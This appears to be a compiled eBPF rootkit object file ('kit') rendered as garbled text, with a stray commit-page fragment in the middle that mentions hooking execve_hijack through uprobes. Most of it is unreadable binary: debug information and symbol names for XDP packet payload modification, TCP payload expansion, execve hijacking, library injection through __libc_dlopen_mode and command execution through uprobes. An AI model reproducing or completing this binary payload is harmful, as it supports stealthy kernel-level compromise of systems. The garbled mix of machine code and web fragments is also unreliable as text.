M<00>|0M<00>3|8M<00>8|HM<00>+|PM<00>D|XM<00>H|hM<00>=|pM<00><1B><00>M	<09><00>MU	<09><00><00><00><18><00>M<00>	<09><00>M	<09><00>M4<05>(![
p0![
p8M<00>	<09>P![
pX![
p`![
ph![
pp![
px![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>![
p<00>M<00><05><00><00>(<05><00><00>e<05><00><00><00><05>H<00><00>	<09>`<00><00>	<09>h<00>#	<09><00><00>{!<21><00><00><00><1E><00><00><00>(<28><00><00><1E><00><00>=<08><00><00>w	<09><00><00>	<00><00>	0<00><00>h@<00>' 	 H<00>[ 	$X<00><00>M<00> <05><00>M
!<08><00>M!!)<29><00>MO!-<2D><00><00>60<00>M<00>!<00>M<00>!
M"	<09>(MPM?"hMb"<00>M<00>"<00>M#<00><00><00>LMY#
M<00>#
 <00><00>h0M<00>#
D8M$
HXME$XhME$7XpME$<X<00>ME$/X<00>ME$HX<00>ME$LX<00>ME$AX<00>M<00>$l<00>M<00>$
p<00><00>%D<00><00>G%H<00><00><00>%L(	<00><00>%\X	<00>&`x	<00>&`<00>	<00>g&h<00>	~&<00>&<05><00>	~&'
~&X'<12> 
~&X'
<0A>8
~&X'<12>P
~&X'
<0A>h
~&X'<12><00>
~&X'
<0A><00>
~&X'<12><00>
~&X'
<0A><00>
<00>q'p<00>
<00>q'p<00>
<00><00>'tMM<00>'><3E> M<00>'<0C>(M!(
<0A>@<00><00><18>hMc(
<0A>xM<00>(<19><00><00><00>($<24><00><00>U)9<>
<00>U)*<2A>
<00>U)<08>
<00><00>)<19><00>M<00>)
<0A><00>M<00>*	<09> <00>b*	<09>0<00>@M<00>*	<09>DC<00>C<00><00>F<00><00>L<00><00>L<00> F<00>0L<00>PF<00><00>C<00><00>C<00><00>C<00><00>C<00><00>C<00>XF<00>hL<00><00>F<00>(	F<00>%0	F<00>X	F<00>x	F<00><00>	F<00>%<00>
F<00>%<00>
F<00><00>
F<00>%<00>0PAX<00><00>J<00><00>	<00> d<00>:<00><00>`U<00><00><00>W<00><00><00><00><00><00><00>3<00><00>	BH<00>h<00>x<00><00><00>`?x<00><00><00><00>$<00>(<00>p<00><00>,P<00><00><00>	<00>: <00><00><00>O8<00>P<00>P<00><00>N	<00>0?X}<00><00><00>@<00><00>$	<00><00> P<00><00>\8
	h
<00><00>
<00>P@	<00><00><00><00> 
0H@<00><00>N<00><00><00><00>	m4<00>	<00>&<00>	<00>&	<00>&X	<00>	,:	\V		m<00>	~$	<00>G	<00><00>	<00>	<00>3G	<00>m	<00><00>	<00>	&,	>	D*<00>	n-l	<00>-]	<00><00>	<00>	<00>,<00>	<00>	3,		I<00>	_<00>	|	&	<00>	,<00>		<00>&<00>	&R	9&j	_<00>	~&<00>	<00>&_	<00>5<00>	<00>&!	%)i	.|		N<00>	m*<00>	0<00>	6<00>	M	O6v	<00><00>	<00>8	<00>G	<00>
y0 N z<00>
V<00>PIh@	<00>0<00><00>~`<00>0<00> <00> ~`~<00>~(~<00>~<00>~	~<00><00><00>0~<00>~0~X~<00>~~8~`<00>X~<00>~~X~<00>~<00>~~0~h~<00>~<00>~<00>~<00>~<00>~8~<00>~h~<00>~~H~<00>~<00>~~h~<00>~<00>~~8~<00>~8	~<00>	~<00>
~(~<00>~~ ~@~,<00>D<00>P<00>\<00>t
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~
~
~
~(
~4
~@
~L
~X
~d
~p
~|
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~
~
~
~$
~0
~<
~H
~T
~`
~l
~x
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>
~<00>,w<xLy\zl{||<00>}<00>w<00>w<00>x<00>x<00>x<00>xxx(x8xHxXxhxxx<00>x<00>x<00>x<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y8zHzXzhzxz<00>z<00>z<00>z<00>z<00>z<00>z<00>z<00>z	z	z(	z8	zH	zX	zh	zx	z<00>	z<00>	z<00>	z<00>	z<00>	z<00>	z<00>	z<00>	z
z
z(
z8
zH
zX
zh
zx
z<00>
z<00>
z<00>
z<00>
z<00>
z<00>
z<00>
z<00>
zzz(z8zHzXzhzxz<00>z<00>z<00>z<00>{<00>{<00>{<00>{{{ {0{@{P{`{p{<00>{<00>{<00>{<00>{<00>{<00>{<00>{<00>{
{
{ 
{0
{@
{P
{`
{p
{<00>
{<00>
{<00>
{<00>
{<00>
{<00>
{<00>
{<00>
{{{ {0{@{P{`{p{<00>{<00>{<00>{<00>{<00>{<00>{<00>{<00>{{{ {0{@{P{`{p{<00>{<00>{<00>{<00>{<00>{<00>{<00>{<00>{{{ {0{@{X|h|<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}},}<}L}\}l}|}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}},}<}L}\}l}|}<00>}<00><01><01><01><01><01><01>a<>b<>cdnqrstuvwefghijklmop<6F><01><01>PQRSTUVKLMNOZ[\]^_`EFGHIJWXY.text.rel.BTF.extipv4_csum.____fmtxdp_receive.____
Usage: %s ./kit OPTION

Program OPTIONs-t[NETWORK INTERFACE]Activate XDP filter	%-40s %-50s

-vVerbose mode-hPrint this helpFailed to increase RLIMIT_MEMLOCK limit!
%H:%M:%S%s INFO  pid:%d code:%i, msg:%s
UNRECOGNIZED RB EVENT RECEIVEDActivating filter on network interface: %s
Error on input interfaceUnknown option: %c
Missing arguments for %c
:t:vhFailed to open and load BPF skeleton
Failed to load and verify BPF skeleton
Failed to create ring buffer
libc.so.6Error obtaining libc symbols__libc_dlopen_modelibdl: %lx
dlopen: %llx
Offset: %lx
Filter set and readyP<00><04>9}}}<00><00>int<08>,<19>-9<05><19><05><1B><05>9<05><1A>	
<00>1<08>3<07>6	<09>7	<09>8	<09>9	<09> :	<09>(;	<09>0<	<09>8=	<09>@@	<09>HA	<09>PB	<09>XD<16>`F<14>hH<07>pI<07>tJ<0B>xM<12><00>N<0F><00>O<08><00>Q<0F><00>Y
<0A><00>[<17><00>\<19><00>]<14><00>^	<09><00>_
-<00>`<07><00>b<08><00>
+	<08>	<00>9	<08>	<08>	<08><00>9?<11>	<08><08>	
	$<0E>	;<0C>
#
<0A>0
+<08>
/key
3<07>arg
7
:<07>doc
@ 
I<07>(
D
q<13>	<08>8<00><15><15><15>	<08><11>`
<08>
<16>
<07>

<EFBFBD>
<07>
}
$} 
)<07>$
,	<09>(
/
<EFBFBD>0
2	<09>8
6	<09>@
9	H
:	P
<	<09>X8
<EFBFBD>
<EFBFBD>
<EFBFBD><11>
<EFBFBD>doc
<EFBFBD>
<EFBFBD>k 
<EFBFBD><0B>(
<EFBFBD>0
<EFBFBD>	<08> 
<EFBFBD>f
<EFBFBD><16>
<EFBFBD><07>

<07>
"	f<14><00><15><15>	q		<08>	<08><12>tm8J	<07>
<07><07><07>
<07><07><07><07><07> <0C>(0h9}
<06>	


<0A><12>
<0A>!
<0A><0C>
<0A><0C><13><14>}U9}2<06>	@8E<08>szG	-NPW\_9 c(j0
<EFBFBD>	
		)<11>g<11>map<11>g<11>	<09>	#<11><08><11><11><17><11><14>		<08>	<08>He	sz	-e		-objl	 	<06>(
<06>,r	0
<06>8<06><x	@	k			.	m<00>	9
'-(!,-I<03>	K<13>	L<12>	F	<09>	H<10>	M<07>	 N<03>	(To
Y<10>	[<0B>\u
]o
]o
 	 
	<08>	!(
<02>
####bss# !8+ (0!8<02><14><14> <14>!<14>"<14> #<14>($<14>0&	<09>'<10>"<00>)	<09>*<08>+<08>,<08>-<08>,.<08>./<08>00<08>61<08>M2<08>O3<08><00>4<08><00>5<00>6<00>#7#89#9<08>_#:~#;<00>#<%<00>#=<00>#>5%#?<08>N#@Em#AU<00>#Be<00>#C<08><00>#Du<00>#EE#F<08>&#GU>#H<08>\#I<08>m#J<08>~#K<08><00>#L<08><00>#M<08><00>#N<08><00>#O<08><00>#P<08><00>#Q<08>#R<08>3#S<08>I#T~	_#U<08>m#V<00>#W<00>#X<00>#Y#Z<08>,#[ED#\n#]<00><00>9<00>9<00>9<00>9<00>9<00>9<00>9599F%9%594E9(U9)e9u92<00>9<00>9<00>9<00>9#<00>9<00>9<00>9<00>9+939%9,<00>
<08><1E>obj{
<04>
8%+pbss(<05><00>^<05><00>	<08>	<08>	<08>$}<0E><03>"
pid<06>
#	<09>#<12>
<EFBFBD>.%9<00>Vall~all<0C>all!<0C>all"#&all'(_.V~$<06>)<06>
+1<0C>29396<0C>7<0F>:<0C>;<0F>><0C>?<0F>B<0C>C<0F>0/[0[4k8<06><<06>@<06> D<06>(	%F<03>I_Jaenv<0F>&env <03>	'I	(u<05><00><01><>)u<0E><03><>)u<1A><03><>&rbv<19><02>H'w[<02>P&errx9<03><>'<02>9<02>@&opt<02><06><02>D*&lm<02>o
<02>`'<02><08><02>X'<02>Q<02>h	<08>+X<0C>
<01>.,ctxX"<22><03><>)X-<2D><03><>)X:-<03><>&eY.<03><>&tm\
4<03><>&ts]X<02>@&t^	<09><03><>		<08>-K
<01>h,sigK<1D><02>l.=
<00><01><>'><10><02>P+3<0C>N<01><>)34\<02>l)3G<02>`)3W<33><02>X/"<00><01>2,arg"$<02>X'&<0B><02>`''<0B><02>h+<01><01>B<01><>,obj<01>*[<02>X&s<01><1E><02>h0err<01>+<01><01><01><>,obj<01>[<02>h1<01>[<01>+o[t<01>#)o7#<02>X&objq[<02>h2err|	<08>3bC<01>,objb"[<02>h%:;9I$>:;
:;I8$>5I	I
&I:;9
:;9I8
:;9<I!I/7I4:;9I?<
:;9I8'II:;9
:;9I8:;9>I:;9(
:;9I8&:;9
:;9I:;9 :;9I!:;9":;9#
:;9I8$>I:;9%!I/&4:;9I'4:;9I(.?:;9'I@<18>B):;9I*
:;9+.:;9'I@<18>B,:;9I-.:;9'@<18>B..:;9'@<18>B/.?:;9'@<18>B0
:;91.:;9'I@<18>B2
:;93.:;9'@<18>B,<00><00><01>
.outputuser/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/asm-generic.output/bpfuser/../commonuser/include/moduleskit.skel.hkit.c<built-in>stddef.htypes.hstruct_FILE.hFILE.hstdio.hgetopt_core.hargp.htime_t.hstruct_tm.hresource.hstdint-intn.hstdint-uintn.hint-ll64.hlibbpf.helf.hlink.hmap_common.h	module_manager.h
	<03><05>	vtY<02><03>$5<1A>/
uu<05>LX	Mb>$	<09>Y2	K<01>2	<09><01>.$<24>/
u<10><08>
<EFBFBD><0B>	<09>
<0A><11>;<3B>'t/<'t
<EFBFBD><08><05><03><12><03><13><11>L	<09>J<03>	<09>J<11>L	<09>J<03>	<09>J<11>L	<09>J<03>	<09>J<11>K	<09>J<14>L	<09>J<03>	<09>J<11>K	<09>J<14>M<12>><3E>)t1<)t<0B><08><05><03><13><03><15><13>K<15><13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>J<03>
<EFBFBD>J<13>K
<EFBFBD>J<13>L
<EFBFBD>f<03>
<EFBFBD>f<13>K
<EFBFBD>f<13>
L
<EFBFBD>	<03><0F><03>ot<<03> 	<09>Y(<03>n.<05>u<0B><><05><08>
<EFBFBD><05>
<08><><05><08>\?g#ft<
K	u<08>&4<><10><06>K<08><01>!j
<EFBFBD>uD<t<19><02><07><02>	<08><07>EK<03>-
<EFBFBD>Z
<EFBFBD>Z
<EFBFBD>[
	wY<06>w/<10>	YI
!<08><05><><10>u
1<><31><08>
<0A><08><><EFBFBD>b<><08>#<23><>[	<05>u
<08><08><06>=g<08>^&u(<28>!<21>vv<08><06>.?<07>$uu<08>\
<EFBFBD>Ku
<EFBFBD>&<26>.K<08>ut	tKz<08>	/?gu	z.<08>J!<04>fvYxdp_receive_____fmt_19modify_payload_____fmt_48handle_tp_sys_exit_read_____fmt_22handle_tp_sys_exit_read_____fmt_23handle_tp_sys_exit_read_____fmt_24handle_tp_sys_exit_read_____fmt_25handle_tp_sys_exit_read_____fmt_26ipv4_csum_____fmthandle_tp_sys_enter_execve_____fmt_30tp_sys_enter_read_____fmthandle_tp_sys_enter_execve_____fmt_32handle_tp_sys_enter_execve_____fmt_33handle_tp_sys_enter_execve_____fmt_34_shortbufnamehandle_sched_process_exec_IO_lock_tinputstderrformattm_ydaytest_write_user_unique_____fmt_40test_write_user_unique_____fmt_41argp_stateoptoptchild_inputsrlim_td_ptrxdp_receive_____fmt_20xdp_receive_____fmt_21bpf_program_IO_write_endunsigned intrlimitnextlink_mapuser/kit.c_flagsexec_module_attrtest_write_user_unique_____fmtexpand_tcp_packet_payload_____fmt_43expand_tcp_packet_payload_____fmt_44expand_tcp_packet_payload_____fmt_45root_argpfs_openlevel__rlimit_resourcetm_mdayshort intexpand_tcp_packet_payload_____fmt_46hook_IO_buf_endlibbpf_print_fntm_gmtoffbtf_custom_pathrlim_maxEXITGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectiontm_yearpin_root_pathd_val__RLIMIT_LOCKSprint_help_dialogmodule_config_t__RLIM_NLIMITStm_mongp_offset_IO_save_endmessagemmapedfloat_IO_codecvthandle_tp_sys_exit_read_____fmtrelaxed_core_relocsoverflow_arg_arealong long unsigned intcleanuprelaxed_mapsexpand_tcp_packet_payload_____fmtkit_bpf__open_opts__RLIMIT_NPROCl_nextfs_module_attrkit_bpf__bsskconfigrb_eventexec_moduleLIBBPF_WARN_offsetoff_tmodify_payload_____fmttp_sys_enter_openatINFO_filenodlopenAddrlibbpf_print_leveldata_sizeargp_optionsize_targs_docint64_toffsetl_prev_IO_read_base_Boolxdp_receive__RLIMIT_NICEargcxdp_module_attr_IO_write_ptrflags__uint64_tkit_bpf__loadkit_bpfcodekit_bpf__destroyprog_cntmodule_config__RLIMIT_OFILEifindexd_tagmapsElf64_Dyncharobject_name__rlim_t_modemap_cnt__RLIMIT_NLIMITS_IO_write_base_IO_read_ptrbpf_linkinjection_moduleexpand_tcp_packet_payload_____fmt_42err_streaminjection_module_attrxdp_receive_____fmt_1xdp_receive_____fmt_2xdp_receive_____fmt_3xdp_receive_____fmt_4xdp_receive_____fmt_5xdp_receive_____fmt_6xdp_receive_____fmt_7xdp_receive_____fmt_8xdp_receive_____fmt_9time_targp_domainprog_skel_szbpf_object_freeres_listskeletonrlim_cur_IO_markerlong long intsig_handlerhelp_filtertp_sys_enter_execveRLIMIT_COREsched_module_attrheaderhandle_tp_sys_exit_read_____fmt_27event_type__RLIMIT_RSSring_buffer__RLIMIT_MSGQUEUE_freeres_bufElf64_Xword_IO_backup_baseLIBBPF_INFO__pad0RLIMIT_AS__pad5bpf_prog_skeletonprogshandle_tp_sys_enter_execve_____fmtRLIMIT_FSIZE_vtable_offsetdataargpoptargargs__int64_targvlong doubleattach_prog_fdparsergroup__u32xdp_modulefs_moduleargp_childlinksrb_commRLIMIT_DATAout_stream_IO_save_base_IO_read_endexec_var_hijack_activerodataRLIMIT_CPUmodule_config_attr_tlong intoptionserror_t_IO_wide_datauint64_tbump_memlock_rlimitd_un__va_list_tagexitingpstatel_ldfp_offsethijacker_statetp_sys_exit_readoptskit_bpf__openERRORargp_parser_tbpf_map_skeleton_IO_buf_base_wide_dataRLIMIT_NOFILE__empty_lockproglong unsigned int_old_offset_IO_FILE__RLIMIT_SIGPENDINGreg_save_arearlim_newLIBBPF_DEBUGdata_szevent_type_ttm_mintm_zone__int128handle_rb_eventuprobe_execute_command_____fmtunsigned charElf64_Addr__RLIMIT_RTTIMElinequotedl_addrlink__RLIMIT_RTPRIOsched_modulebpf_object_open_optsbpf_object_skeletonmodule_config_attr__time_ttp_sys_enter_read_codecvt__RLIMIT_MEMLOCKtm_wdayarg_numDEBUGkit_bpf__create_skeleton__off_ttm_hourverbosemap_skel_szsigned charuprobe_execute_commandshort unsigned inttm_secmainbpf_maptm_isdstxdp_receive_____fmtElf64_Sxwordchildrendoublel_name/home/osboxes/TFG/src_markers_chainRLIMIT_STACKkit_bpf__rodataFILEdesc_flags2_cu
.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
/<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 
0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>3
1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>K
2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>d
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>x
	<00><>}
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	<00><><00>
3<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	<00><><00>
)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	<11><00>
4<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	$<24><00>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
	0<><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&	><3E>0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>7	K<><<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>O5<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>h<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>|6<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

)
<00>
Q)
.
<00><
<00>A
,M
Y
Ne
<00>q
$
<00>
<00><00>
<00>
<00>
<00><00>
<00><00>
<00><00>
<00>
<00><00>
K<00>
<00><00>
?<00>
<00><00>
>
<00>

<00>*

7
<00>D
<00>Q
<00>^
7k
<00>x
<00><00>
<00><00>
<00><00>
g
<00>
$<00>
g<00>
p<00>
<00><00>
<00><00>
<00><00>
<00>
<00>

<00>!
<00>.
T;
YH
<00>U
k	b
N
o
<00>
|
<00><00>
I<00>
<00><00>
<00><00>
<00>	<00>
F<00>
<00><00>
\
<00>!
<00>
-
C9
<00>E
<00>R
<00>y
E<00>
9<00>
<00><00>
8<00>
<00>
"

<00>"
E0
{>
<00>
L
<00>Z
Jh
<00>v
<00><00>
Y<00>
<00>
B<00>
<00>
<00>
<00><00>
2<00>
<00><00>
:<00>
<00>	

G	#
Z0
<00>
=
EJ
<00>	X
9<00>
@	<00>
<00><00>
]
<00>
<00><00>
<00><00>
<00>
<00>	
s
<00>#
0
=
d
M
<00>	T
<00>i
<00>{
<00><00>
<00>
<00>
s<00>
w<00>
<00>	<00>
#
<00>
<00><00>
<00><00>
<00>
<00>
<00><00>
b<00>
<00><00>

<00>
<
<00>
<00>
<00>
<00>
<00>
<00>
<00><00>
<00>
W<00>
<00>
<00>	
"
<00>.

:
?X
]
<00>o
Hu
w
{
;
<00>
<00>
<00><00>
<00><00>
r<00>
<00><00>
#<00>
+<00>


`	
<00>*
/
<00>=
<00>Y
9n
<00>
|
<00><00>
<00><00>
<00>
<00>
<00>
<00>
<00><00>
<00>
<00>
H
	
<00>	
<00>-	
<00>;	
<00>I	
S	W	
<00>
<00>	
[
<00>	
-<00>	
<00>
<00>	
<00><00>	
^<00>	
<00><00>	
'<00>	
<00>

@

C

l
!

<00>.

<00>
;

JH

IU

b

<00><00>

k<00>

<00><00>

<00><00>

<00><00>

<00><00>

G<00>

g<00>

y
<00>	
<00>
5
<00>B
GO
g\
yi
<00>	v
<00><00>
<00>
<00>
X<00>
<00><00>
<00>
<00>
<00>
<00>
z<00>
<00><00>
<00>
<00>
<00>"
<00>/
<00><
	I
*	V
Rc
iq
<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
d<00>
{<00>
R<00>
1
T
w'
<00>5
<00>C
<00>	Q
<00>
_
<00>m
2{
X<00>
~<00>
<00>
<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
<00><00>

<00>
4#
1
5?
ZM
<00>[
<00>i
bw
&
d3
y	M
<00>Z
<00>
g
e<00>
<00><00>
<00><00>
<00><00>
$<00>
<00><00>
P
<00>
3<00>
1<00>
l


/
EI
W
<00>
q
<00>
P<00>
G<00>
g<00>
y<00>
<<00>
<00>	<00>
#
<00>
<00>
E+
<00>
8
PE
<R
#`
<00>l
'y
<00><00>
E<00>
<00>	<00>
<00><00>
<00>
<00><00>
<00><00>
<00><00>
d<00>
<00>
<00>
<00>
E'
<00>
4
PA
<N
#b
<00>n
<00>z
+<00>
<00><00><00>
:<00><00>
<00><00><00>
"<00>

<00><
<00>Z
<00>bty
<00><00>
<00><00>
0
<00>
u
<00><00><00>
<00>
<00>
<00>;
<00>	B<00>i
pA<00>
2
<00>
<00><00><00><00>
<00><00>
<00><00>
<00>
<00><00>&
<00>
#
<00>3
<00>><00>y<00>
V<00><00><00>
}<00><00><00>
<00><00>C<00>
x<00>*
q1
 @C`<00><00><00><00><00><00>&<00><00>A <00>@<00>`<00>.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @<00>@<00>(&<00>,<00>1<00>d<>><<3C>T9@ 8"J<00><>]<00><>0X@X@0	q<00><><00>l@<00>@}0<00><>
<00>0<00>	&<00><00>	<00><00>	 <00>
x<00>@<00>@<00>(	<00>D<00>A<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								ELF>pB@@<00><1E>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>}<7D>t)H<>E<EFBFBD>H<EFBFBD>H<><48>tH<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><01><><EFBFBD>UH<55><48>H<EFBFBD><48> H<>}辸<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u<07><00>EH<45>E<EFBFBD>H<EFBFBD><48><EFBFBD>h<00><>u H<>E<EFBFBD>H<EFBFBD>H<>U<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>u	H<>E<EFBFBD><45><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD><00><>UH<55><48><EFBFBD><00>~<7E><><EFBFBD>]<5D>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><>UH<55><48>H<EFBFBD><48> H<>}<7D><>H<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u
 								<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HH<>E<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>P H<>E<EFBFBD><45>@(H<>E<EFBFBD><45>@,H<>E<EFBFBD><45>@,Hc<48>H<EFBFBD>E<EFBFBD><45>@(H<>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P0H<30>E<EFBFBD>H<EFBFBD>@0H<30><48><0F>vH<>E<EFBFBD>H<EFBFBD>@0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD><48> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD><48>(H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD>°H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD><48>0H<30>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD>¨H<>PH<>E<EFBFBD><45>@8H<>E<EFBFBD><45>@<H<>E<EFBFBD><45>@<Hc<48>H<EFBFBD>E<EFBFBD><45>@8H<38>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P@H<>E<EFBFBD>H<EFBFBD>@@H<><48><0F>H<>E<EFBFBD>H<EFBFBD>@@H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>8H<38>PH<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>pH<70>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>@H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>xH<78>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>HH<48>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>PH<50>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>XH<58>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48>`H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD><48>hH<68>PH<>E<EFBFBD>H<EFBFBD>@@H<05>H<>U<EFBFBD>H<EFBFBD> H<>PH<>E<EFBFBD>H<EFBFBD>@ <20>H<>E<EFBFBD>H<EFBFBD>H<>P<10><00><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> 